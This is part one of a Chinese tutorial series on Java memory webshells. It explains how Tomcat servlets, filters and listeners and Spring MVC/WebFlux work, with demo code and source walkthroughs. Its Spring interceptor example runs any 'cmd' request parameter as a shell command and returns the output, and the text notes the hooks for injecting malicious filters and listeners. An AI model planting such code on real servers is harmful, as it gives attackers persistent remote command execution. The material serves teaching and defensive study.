一、前言
之前写的零基础学Fastjson
的文章反向很不错,很多师傅在公众号后台和我的微信私聊我表示感谢,其实也没啥,大家都是零基础过来的。网上的文章多而杂,并且只有少部分文章是配图清楚、文字描述清晰的,很多时候新手学着学着可能就因为作者的某一个地方没有描述清楚而不知其所指,非常痛苦;亦或是文章面向对象不同,前置知识不扎实导致很多东西无法理解,这些痛点我都曾经历过。但是随着看过的代码逐渐增多,见识逐渐丰富,调试的次数越多,对各种问题的处理就会越得心应手。
本文所讨论的Java
内存马是Java
安全中的一个不可或缺的板块,它内容丰富绮丽,研究起来让人着迷,沉沦其中流连忘返。我参考了su18
师傅一年多以前发表在Goby
社区的这篇文章(https://nosec.org/home/detail/5049.html
)中给出的分类方式,把整个零基础掌握java
内存马系列分成了以下几个部分:传统web
型、spring
系列框架型、中间件型、其他内存马(Websocket/Jsp/线程型/RMI
)、Agent
型内存马、实战内存马打入(Jetty
/Weblogic
/Shiro
/Struts2
/GlassFish
/xxl-job
...)和内存马查杀。
本篇为上篇,上篇截止至【中间件型内存马】,下篇年后再写,最近太累了。
由于先知社区发文字数限制,因此文章分为三部分发出来。
文章完整版已开源至Github
,觉得写的不错的话就给个star
吧~:
上篇的目录:
- 一、前言
-
二、前置知识
- 2.1 Servlet容器与Engine、Host、Context和Wrapper
- 2.2 编写一个简单的servlet
- 2.3 从代码层面看servlet初始化与装载流程
- 2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
- 2.5 编写一个简单的Filter
- 2.6 从代码层面分析Filter运行的整体流程
- 2.7 Listener简单介绍
- 2.8 编写一个简单的Listener(ServletRequestListener)
- 2.9 从代码层面分析Listener运行的整体流程
- 2.10 简单的spring项目搭建
- 2.11 Spring MVC介绍
- 2.12 Spring WebFlux介绍与代码调试分析
- 2.13 Tomcat Valve介绍与运行过程分析
- 2.14 Tomcat Upgrade介绍与打入内存马思路分析
- 2.15 Tomcat Executor内存马介绍与打入内存马思路分析
好了,让我们闲话少叙,就此开始我们的第一部分。
二、前置知识
本篇文章除特殊说明外,使用的是jdk1.8.0_202
+ tomcat 9.0.85
,后者下载地址为:
https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.85/bin/apache-tomcat-9.0.85-windows-x64.zip。
2.1 Servlet容器与Engine、Host、Context和Wrapper
这部分我找了好久,终于在一大堆高深/垃圾的文章中邂逅了一篇写的还算简明扼要易于理解的文章。
原文地址:https://www.maishuren.top/archives/tomcat-zhong-servlet-rong-qi-de-she-ji-yuan-li
这里组合引用其原文,简单概括,就是:
Tomcat
设计了四种容器,分别是Engine
、Host
、Context
和Wrapper
,其关系如下:
这一点可以从Tomcat
的配置文件server.xml
中看出来。
此时,设想这样一个场景:我们此时要访问https://manage.xxx.com:8080/user/list
,那tomcat
是如何实现请求定位到具体的servlet
的呢?为此tomcat
设计了Mapper
,其中保存了容器组件与访问路径的映射关系。
然后就开始四步走:
-
根据协议和端口号选定
Service
和Engine
。我们知道
Tomcat
的每个连接器都监听不同的端口,比如Tomcat
默认的HTTP
连接器监听8080
端口、默认的AJP
连接器监听8009
端口。上面例子中的URL访问的是8080
端口,因此这个请求会被HTTP
连接器接收,而一个连接器是属于一个Service
组件的,这样Service
组件就确定了。我们还知道一个Service
组件里除了有多个连接器,还有一个容器组件,具体来说就是一个Engine
容器,因此Service
确定了也就意味着Engine
也确定了。 -
根据域名选定
Host
。Service
和Engine
确定后,Mapper
组件通过url
中的域名去查找相应的Host
容器,比如例子中的url
访问的域名是manage.xxx.com
,因此Mapper
会找到Host1
这个容器。 -
根据
url
路径找到Context
组件。Host
确定以后,Mapper
根据url
的路径来匹配相应的Web
应用的路径,比如例子中访问的是/user
,因此找到了Context1
这个Context
容器。 -
根据
url
路径找到Wrapper
(Servlet
)。Context
确定后,Mapper
再根据web.xml
中配置的Servlet
映射路径来找到具体的Wrapper
和Servlet
,例如这里的Wrapper1
的/list
。
这里的Context
翻译过来就是上下文,它包括servlet
运行的基本环境;这里的Wrapper
翻译过来就是包装器,它负责管理一个servlet
,包括其装载、初始化、执行和资源回收。
关于上图中的连接器的设计,可以继续参考该作者的博文:
写到后面之后我又发现了一篇写的极佳的文章,贴在这儿供大家参考,讲的是关于tomcat
架构的原理解析:
https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09
2.2 编写一个简单的servlet
pom.xml
文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
</dependency>
</dependencies>
</project>
同步下依赖:
TestServlet.java
代码如下:
package org.example;
import java.io.IOException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.getWriter().write("hello world");
}
}
然后配置项目运行所需的tomcat
环境:
然后配置artifacts
,直接点击fix
:
然后添加web
模块:
运行之后,访问http://localhost:8080/testServlet/test:
2.3 从代码层面看servlet初始化与装载流程
主要参考文章:
我们这里不采用我们下载的tomcat
来运行我们的项目,我们使用嵌入式tomcat
也就是所谓的tomcat-embed-core
。关于动态调试,我是图省事,直接用tomcat-embed-core
,你当然也可以调试直接调试tomcat
源码,环境搭建方法可以参考Skay
师傅的文章:
我们重开一个项目,文件代码如下:
pom.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>servletMemoryShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>9.0.83</version>
<scope>compile</scope>
</dependency>
</dependencies>
</project>
Main.java
:
package org.example;
import org.apache.catalina.Context;
import org.apache.catalina.LifecycleException;
import org.apache.catalina.startup.Tomcat;
import java.io.File;
public class Main {
public static void main(String[] args) throws LifecycleException {
Tomcat tomcat = new Tomcat();
tomcat.getConnector(); //tomcat 9.0以上需要加这行代码,参考:https://blog.csdn.net/qq_42944840/article/details/116349603
Context context = tomcat.addWebapp("", new File(".").getAbsolutePath());
Tomcat.addServlet(context, "helloServlet", new HelloServlet());
context.addServletMappingDecoded("/hello", "helloServlet");
tomcat.start();
tomcat.getServer().await();
}
}
HelloServlet.java
:
package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet("/hello")
public class HelloServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("Hello, World!");
out.println("</body></html>");
}
}
2.3.1 servlet初始化流程分析
我们在org.apache.catalina.core.StandardWrapper#setServletClass
处下断点调试:
我们尝试按Ctrl+左键
追踪它的上层调用位置,但是提示我们找不到,需要按两次Ctrl+Alt+F7
:
然后就可以看到,上层调用位置位于org.apache.catalina.startup.ContextConfig#configureContext
:
接下来我们详细看下面这段代码:
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
首先通过webxml.getServlets()
获取的所有Servlet
定义,并建立循环;然后创建一个Wrapper
对象,并设置Servlet
的加载顺序、是否启用(即获取</load-on-startup>
标签的值)、Servlet
的名称等基本属性;接着遍历Servlet
的初始化参数并设置到Wrapper
中,并处理安全角色引用、将角色和对应链接添加到Wrapper
中;如果Servlet
定义中包含文件上传配置,则根据配置信息设置MultipartConfigElement
;设置Servlet
是否支持异步操作;通过context.addChild(wrapper);
将配置好的Wrapper
添加到Context
中,完成Servlet
的初始化过程。
上面大的for
循环中嵌套的最后一个for
循环则负责处理Servlet
的url
映射,将Servlet
的url
与Servlet
名称关联起来。
也就是说,Servlet
的初始化主要经历以下六个步骤:
- 创建
Wapper
对象; - 设置
Servlet
的LoadOnStartUp
的值; - 设置
Servlet
的名称; - 设置
Servlet
的class
; - 将配置好的
Wrapper
添加到Context
中; - 将
url
和servlet
类做映射
2.3.2 servlet装载流程分析
我们在org.apache.catalina.core.StandardWrapper#loadServlet
这里打下断点进行调试,重点关注org.apache.catalina.core.StandardContext#startInternal
:
可以看到,装载顺序为Listener
-->Filter
-->Servlet
:
可以看到,上面红框中的代码都调用了org.apache.catalina.core.StandardContext#loadOnStartup
,Ctrl+左键
跟进该方法,代码如下:
public boolean loadOnStartup(Container children[]) {
TreeMap<Integer,ArrayList<Wrapper>> map = new TreeMap<>();
for (Container child : children) {
Wrapper wrapper = (Wrapper) child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup < 0) {
continue;
}
Integer key = Integer.valueOf(loadOnStartup);
map.computeIfAbsent(key, k -> new ArrayList<>()).add(wrapper);
}
for (ArrayList<Wrapper> list : map.values()) {
for (Wrapper wrapper : list) {
try {
wrapper.load();
} catch (ServletException e) {
getLogger().error(
sm.getString("standardContext.loadOnStartup.loadException", getName(), wrapper.getName()),
StandardWrapper.getRootCause(e));
if (getComputedFailCtxIfServletStartFails()) {
return false;
}
}
}
}
return true;
}
可以看到,这段代码先是创建一个TreeMap
,然后遍历传入的Container
数组,将每个Servlet
的loadOnStartup
值作为键,将对应的Wrapper
对象存储在相应的列表中;如果这个loadOnStartup
值是负数,除非你请求访问它,否则就不会加载;如果是非负数,那么就按照这个loadOnStartup
的升序的顺序来加载。
2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain
开头先明确一点,就是Filter
容器是用于对请求和响应进行过滤和处理的,以下这张图是根据Skay
师傅文章中的图片重制的:
从上图可以看出,这个filter
就是一个关卡,客户端的请求在经过filter
之后才会到Servlet
,那么如果我们动态创建一个filter
并且将其放在最前面,我们的filter
就会最先执行,当我们在filter
中添加恶意代码,就可以实现命令执行,形成内存马。
这些名词其实很容易理解,首先,需要定义过滤器FilterDef
,存放这些FilterDef
的数组被称为FilterDefs
,每个FilterDef
定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class
等,这一点可以从org/apache/tomcat/util/descriptor/web/FilterDef.java
的代码中看出来;然后是FilterDefs
,它只是过滤器的抽象定义,而FilterConfigs
则是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求;紧接着是FilterMaps
,它是用于将FilterConfigs
映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs
,从而确定要执行的过滤器链;而FilterChain
是由多个FilterConfigs
组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain
中的顺序依次执行每个过滤器,对请求进行过滤和处理。
2.5 编写一个简单的Filter
我们继续用我们之前在2.2
中搭建的环境,添加TestFilter.java
:
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/test")
public class TestFilter implements Filter {
public void init(FilterConfig filterConfig) {
System.out.println("[*] Filter初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("[*] Filter执行过滤操作");
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {
System.out.println("[*] Filter已销毁");
}
}
跑起来之后,控制台输出[*] Filter初始化创建
,当我们访问/test
路由的时候,控制台继续输出[*] Filter执行过滤操作
,当我们结束tomcat
的时候,会触发destroy
方法,从而输出[*] Filter已销毁
:
2.6 从代码层面分析Filter运行的整体流程
我们在上面的demo
中的doFilter
函数这里下断点进行调试:
跟进org.apache.catalina.core.StandardWrapperValve#invoke
:
filterChain.doFilter(request.getRequest(), response.getResponse());
继续跟进变量filterChain
,找到定义处的代码:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
查看该方法(org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
):
public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null) {
return null;
} else {
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
String requestPath = null;
Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
if (attribute != null) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] var10 = filterMaps;
int var11 = filterMaps.length;
int var12;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
var10 = filterMaps;
var11 = filterMaps.length;
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
}
我们在该方法和下面定义filterMaps
那行下断点进行调试,可以看到,这段代码先是判断servlet
是否为空,如果是就表示没有有效的servlet
,无法创建过滤器链;然后根据传入的ServletRequest
的类型来分类处理,如果是Request
类型,并且启用了安全性,那么就创建一个新的ApplicationFilterChain
,如果没启用,那么就尝试从请求中获取现有的过滤器链,如果不存在那么就创建一个新的;接着是设置过滤器链的Servlet
和异步支持属性,这个没啥说的;关键点在于后面从Wrapper
中获取父级上下文(StandardContext
),然后获取该上下文中定义的过滤器映射数组(FilterMap
);最后遍历过滤器映射数组,根据请求的DispatcherType
和请求路径匹配过滤器,并将匹配的过滤器添加到过滤器链中,最终返回创建或更新后的过滤器链。
从上面的两张图我们也可以清晰地看到filterConfig
、filterMap
、FilterDef
的结构。
跟进刚才的filterChain.doFilter
方法,位于org.apache.catalina.core.ApplicationFilterChain#doFilter
:
可以看到都是调用了org.apache.catalina.core.ApplicationFilterChain#internalDoFilter
方法,在这个方法中会依次拿到filterConfig
和filter
:
好了,大致过程到这里就结束了,但是我们的目的是打入内存马,也就是要动态地创建一个Filter
,回顾之前的调试过程,我们发现在createFilterChain
那个函数里面有两个关键点:
也就是这里我用箭头指出来的org.apache.catalina.core.StandardContext#findFilterMaps
和org.apache.catalina.core.StandardContext#findFilterConfig
。
二者的实现代码粘贴如下:
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}
public FilterConfig findFilterConfig(String name) {
synchronized (filterDefs) {
return filterConfigs.get(name);
}
}
也就是说我们只需要查找到现有的上下文,然后往里面插入我们自定义的恶意过滤器映射和过滤器配置,就可以实现动态添加过滤器了。
那也就是说,我们现在的问题就转化为如何添加filterMap
和filterConfig
。我们搜索关键词addFilterMap
,即可看到在StandardContext
中有两个相关的方法:
注释里面也说的很清楚,addFilterMap
是在一组映射末尾添加新的我们自定义的新映射;而addFilterMapBefore
则会自动把我们创建的filterMap
丢到第一位去,无需再手动排序,这正是我们需要的呀!
可以看到,上面的addFilterMapBefore
函数中第一步是先执行org.apache.catalina.core.StandardContext#validateFilterMap
这个函数,点击去看看:
发现我们需要保证它在根据filterName
找filterDef
的时候,得能找到,也就是说,我们还得自定义filterDef
并把它加入到filterDefs
,不过这个也很简单,也有对应的方法,也就是org.apache.catalina.core.StandardContext#addFilterDef
:
搞定,继续去看filterConfig
如何添加。经过搜索发现,不存在类似上面的addFilterConfig
这种方法:
但是有filterStart
和filterStop
这两个方法:
那也就是说,我们只能通过反射的方法去获取相关属性并添加进去。
2.7 Listener简单介绍
由上图可知,Listener
是最先被加载的,所以根据前面我们学到的思路,我动态注册一个恶意的Listener
,就又可以形成一种内存马了。
在tomcat
中,常见的Listener
有以下几种:
-
ServletContextListener
,用来监听整个Web
应用程序的启动和关闭事件,需要实现contextInitialized
和contextDestroyed
这两个方法; -
ServletRequestListener
,用来监听HTTP
请求的创建和销毁事件,需要实现requestInitialized
和requestDestroyed
这两个方法; -
HttpSessionListener
,用来监听HTTP
会话的创建和销毁事件,需要实现sessionCreated
和sessionDestroyed
这两个方法; -
HttpSessionAttributeListener
,监听HTTP
会话属性的添加、删除和替换事件,需要实现attributeAdded
、attributeRemoved
和attributeReplaced
这三个方法。
很明显,ServletRequestListener
是最适合做内存马的,因为它只要访问服务就能触发操作。
2.8 编写一个简单的Listener(ServletRequestListener)
我们继续用我们之前在2.2
中搭建的环境,替换掉之前的TestFilter.java
,重新写一个TestListener.java
:
package org.example;
import javax.servlet.*;
import javax.servlet.annotation.WebListener;
@WebListener("/test")
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("[+] destroy TestListener");
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("[+] initial TestListener");
}
}
运行结果:
2.9 从代码层面分析Listener运行的整体流程
我们在如图所示的两个地方下断点调试:
往下翻可以看到org.apache.catalina.core.StandardContext#listenerStart
方法的调用:
代码写的通俗易懂,主要有两个事情要干,一是通过findApplicationListeners
找到这些Listerner
的名字;二是实例化这些listener
:
接着就是分类摆放,我们需要的ServletRequestListener
被放在了eventListeners
里面:
分类摆放完了之后,干这样一件事情:
eventListeners.addAll(Arrays.asList(getApplicationEventListeners()));
Arrays.asList(...)
好理解,意思就是将数组转换为列表;eventListeners.addAll(...)
也好理解,意思就是将括号里面的内容添加到之前实例化的监听器列表 eventListeners
中。关于括号里边的org.apache.catalina.core.StandardContext#getApplicationEventListeners
这个方法,我们点进去看,代码如下:
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}
也很简单明了,就是把applicationEventListenersList
转换成一个包含任意类型对象的数组,也就是一个可能包含各种类型的应用程序事件监听器的数组。
那这总结起来就一句话,就是Listener
有两个来源,一是根据web.xml
文件或者@WebListener
注解实例化得到的Listener
;二是applicationEventListenersList
中的Listener
。前面的我们肯定没法控制,因为这是给开发者用的,不是给黑客用的哈哈哈。那就找找看,有没有类似之前我们用到的addFilterConfig
这种函数呢?当然是有的,ctrl+左键
往上找:
方法名字叫做addApplicationEventListener
,在StandardContext.java
里面,代码如下,完美符合我们的需求,真是太哇塞了:
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
2.10 简单的spring项目搭建
新建个项目,设置Server URL
为https://start.aliyun.com/
:
等待依赖解析完成:
这里给我们准备了一个示例,我们可以直接跑起来:
2.10.1 编写一个简单的Spring Controller
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class TestController {
@ResponseBody
@RequestMapping("/")
public String test(){
return "hello world";
}
}
非常地简单:
2.10.2 编写一个简单的Spring Interceptor
TestInterceptor.java
:
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if(cmd != null){
try {
java.io.PrintWriter writer = response.getWriter();
String output = "";
ProcessBuilder processBuilder;
if(System.getProperty("os.name").toLowerCase().contains("win")){
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
}else{
processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
}
java.util.Scanner inputScanner = new java.util.Scanner(processBuilder.start().getInputStream()).useDelimiter("\\A");
output = inputScanner.hasNext() ? inputScanner.next(): output;
inputScanner.close();
writer.write(output);
writer.flush();
writer.close();
} catch (Exception ignored){}
return false;
}
return true;
}
}
WebConfig.java
:
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(new TestInterceptor()).addPathPatterns("/**");
}
}
Controller
就是之前写的TestController.java
,运行后访问http://127.0.0.1:8080/?cmd=whoami
:
2.10.3 编写一个简单的Spring WebFlux的Demo(基于Netty)
我们先聊聊怎么自己写一个Spring WebFlux
框架的demo
。
这里我们新建一个SpringBoot
项目,取名WebFluxMemoryShellDemo
:
这里选择Spring Reactive Web
:
接着新建两个文件,这里为了方便,我把这两个文件放到hello
文件夹下。
GreetingHandler.java
:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.http.MediaType;
import org.springframework.stereotype.Component;
import org.springframework.web.reactive.function.BodyInserters;
import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono;
@Component
public class GreetingHandler {
public Mono<ServerResponse> hello(ServerRequest request) {
return ServerResponse.ok().contentType(MediaType.TEXT_PLAIN).body(BodyInserters.fromValue("Hello, Spring!"));
}
}
GreetingRouter.java
:
package org.example.webfluxmemoryshelldemo.hello;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.http.MediaType;
import org.springframework.web.reactive.function.server.*;
@Configuration
public class GreetingRouter {
@Bean
public RouterFunction<ServerResponse> route(GreetingHandler greetingHandler) {
return RouterFunctions.route(RequestPredicates.GET("/hello").and(RequestPredicates.accept(MediaType.TEXT_PLAIN)), greetingHandler::hello);
}
}
我们可以新建main/resources
文件夹,然后新建application.properties
,通过server.port
来控制netty
服务的端口:
接着我们运行:
这里我从github
上找了一个项目,也可以很好地帮助我们理解这个框架是如何使用的,它采用的是Netty
+SpringWebFlux
:
随便访问个路由。例如http://127.0.0.1:9191/customers/stream
:
2.11 Spring MVC介绍
如果想要深入理解Spring MVC
框架型内存马,那么对Spring MVC
的基础了解是非常必要的,本节就从源码层面和大家简单聊聊这个框架。
首先引用《Spring in Action
》上的一张图(这里我重制了一下)来了解Spring MVC
的核心组件和大致处理流程(不过我在第五版书上貌似没有找到这张图,有找到的小伙伴可以公众号后台私信我):
可以看到,这里有一堆名词,我们一一来看:
-
DispatcherServlet
是前端控制器,它负责接收Request
并将Request
转发给对应的处理组件; -
HandlerMapping
负责完成url
到Controller
映射,可以通过它来找到对应的处理Request
的Controller
; -
Controller
处理Request
,并返回ModelAndVIew
对象,ModelAndView
是封装结果视图的组件; - ④~⑦表示视图解析器解析
ModelAndView
对象并返回对应的视图给客户端。
还有一个概念需要了解,就是IOC
容器,因为这个名词会在本文后面的内容中提及。
IOC
(控制反转)容器是Spring
框架的核心概念之一,它的基本思想是将对象的创建、组装、管理等控制权从应用程序代码反转到容器,使得应用程序组件无需直接管理它们的依赖关系。IOC
容器主要负责对象的创建、依赖注入、生命周期管理和配置管理等。Spring
框架提供了多种实现IOC
容器的方式,下面讲两种常见的:
-
BeanFactory
:Spring
的最基本的IOC
容器,提供了基本的IOC
功能,只有在第一次请求时才创建对象。 -
ApplicationContext
:这是BeanFactory
的扩展,提供了更多的企业级功能。ApplicationContext
在容器启动时就预加载并初始化所有的单例对象,这样就可以提供更快的访问速度。
2.11.1 Spring MVC九大组件
这九大组件需要有个印象:
DispatcherServlet
(派发Servlet
):负责将请求分发给其他组件,是整个Spring MVC
流程的核心;
HandlerMapping
(处理器映射):用于确定请求的处理器(Controller
);
HandlerAdapter
(处理器适配器):将请求映射到合适的处理器方法,负责执行处理器方法;
HandlerInterceptor
(处理器拦截器):允许对处理器的执行过程进行拦截和干预;
Controller
(控制器):处理用户请求并返回适当的模型和视图;
ModelAndView
(模型和视图):封装了处理器方法的执行结果,包括模型数据和视图信息;
ViewResolver
(视图解析器):用于将逻辑视图名称解析为具体的视图对象;
LocaleResolver
(区域解析器):处理区域信息,用于国际化;
ThemeResolver
(主题解析器):用于解析Web
应用的主题,实现界面主题的切换。
2.11.2 简单的源码分析
2.11.2.1 九大组件的初始化
首先是找到org.springframework.web.servlet.DispatcherServlet
,可以看到里面有很多组件的定义和初始化函数以及一些其他的函数:
但是没有init()
函数,我们翻看其父类FrameworkServlet
的父类org.springframework.web.servlet.HttpServletBean
的时候发现有init
函数:
代码如下:
@Override
public final void init() throws ServletException {
// Set bean properties from init parameters.
PropertyValues pvs = new ServletConfigPropertyValues(getServletConfig(), this.requiredProperties);
if (!pvs.isEmpty()) {
try {
BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(this);
ResourceLoader resourceLoader = new ServletContextResourceLoader(getServletContext());
bw.registerCustomEditor(Resource.class, new ResourceEditor(resourceLoader, getEnvironment()));
initBeanWrapper(bw);
bw.setPropertyValues(pvs, true);
}
catch (BeansException ex) {
if (logger.isErrorEnabled()) {
logger.error("Failed to set bean properties on servlet '" + getServletName() + "'", ex);
}
throw ex;
}
}
// Let subclasses do whatever initialization they like.
initServletBean();
}
先是从Servlet
的配置中获取初始化参数并创建一个PropertyValues
对象,然后设置Bean
属性;关键在最后一步,调用了initServletBean
这个方法。
我们点进去之后发现该函数并没有写任何内容,说明应该是子类继承的时候override
了该方法:
果不其然,我们在org.springframework.web.servlet.FrameworkServlet
中成功找到了该方法:
代码如下:
@Override
protected final void initServletBean() throws ServletException {
getServletContext().log("Initializing Spring " + getClass().getSimpleName() + " '" + getServletName() + "'");
if (logger.isInfoEnabled()) {
logger.info("Initializing Servlet '" + getServletName() + "'");
}
long startTime = System.currentTimeMillis();
try {
this.webApplicationContext = initWebApplicationContext();
initFrameworkServlet();
}
catch (ServletException | RuntimeException ex) {
logger.error("Context initialization failed", ex);
throw ex;
}
if (logger.isDebugEnabled()) {
String value = this.enableLoggingRequestDetails ?
"shown which may lead to unsafe logging of potentially sensitive data" :
"masked to prevent unsafe logging of potentially sensitive data";
logger.debug("enableLoggingRequestDetails='" + this.enableLoggingRequestDetails +
"': request parameters and headers will be " + value);
}
if (logger.isInfoEnabled()) {
logger.info("Completed initialization in " + (System.currentTimeMillis() - startTime) + " ms");
}
}
这段代码的log
和计时部分就不说了,我们捡关键的说。它先是调用initWebApplicationContext
方法,初始化IOC
容器,在初始化的过程中,会调用到这个onRefresh
